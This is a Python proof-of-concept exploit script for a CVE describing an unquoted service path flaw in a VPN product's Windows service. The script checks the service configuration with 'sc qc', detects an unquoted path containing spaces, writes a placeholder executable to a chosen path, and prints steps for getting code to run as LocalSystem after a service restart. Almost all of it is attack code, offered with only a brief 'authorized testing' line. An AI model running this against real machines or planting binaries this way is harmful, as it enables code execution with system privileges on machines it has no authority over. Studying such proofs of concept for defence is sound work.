CVE-2025-66575

#!/usr/bin/env python3 # CVE-2025-66575 PoC - VeeVPN Unquoted Service Path RCE # This PoC demonstrates the unquoted service path vulnerability in VeePNService # Author: Security Researcher # Note: For authorized security testing only import os import sys import subprocess import ctypes def check_vulnerability(): """Check if VeePNService is installed and has unquoted path""" try: # Query service configuration using sc command result = subprocess.run( ['sc', 'qc', 'VeePNService'], capture_output=True, text=True ) if result.returncode == 0: output = result.stdout # Check if BINARY_PATH_NAME contains unquoted path with spaces if 'BINARY_PATH_NAME' in output: # Extract path and check for spaces without quotes for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() if ' ' in path and not path.startswith('"'): print(f"[*] Vulnerable path detected: {path}") return True print("[-] Service not found or not vulnerable") return False except Exception as e: print(f"[!] Error checking vulnerability: {e}") return False def create_malicious_executable(target_path): """Create a malicious executable to be placed at unquoted path location""" # This is a placeholder - in real attack, attacker would place malicious binary malicious_code = b'MZ' + b'\x00' * 100 # Minimal PE header try: with open(target_path, 'wb') as f: f.write(malicious_code) print(f"[*] Malicious executable created at: {target_path}") return True except PermissionError: print(f"[!] Insufficient privileges to write to {target_path}") print("[*] Administrator privileges required for exploitation") return False except Exception as e: print(f"[!] Error creating malicious file: {e}") return False def main(): print("=" * 60) print("CVE-2025-66575 - VeeVPN VeePNService Unquoted Path RCE") print("=" * 60) if not ctypes.windll.shell32.IsUserAnAdmin(): print("[!] This exploit requires administrator privileges") sys.exit(1) print("[*] Checking for vulnerable VeePNService installation...") if check_vulnerability(): print("[+] Vulnerability confirmed!") print("[*] To exploit:") print(" 1. Place malicious executable in unquoted path location") print(" 2. Wait for service restart or system reboot") print(" 3. Malicious code will execute with LocalSystem privileges") else: print("[-] Target system not vulnerable or service not installed") if __name__ == "__main__": main()

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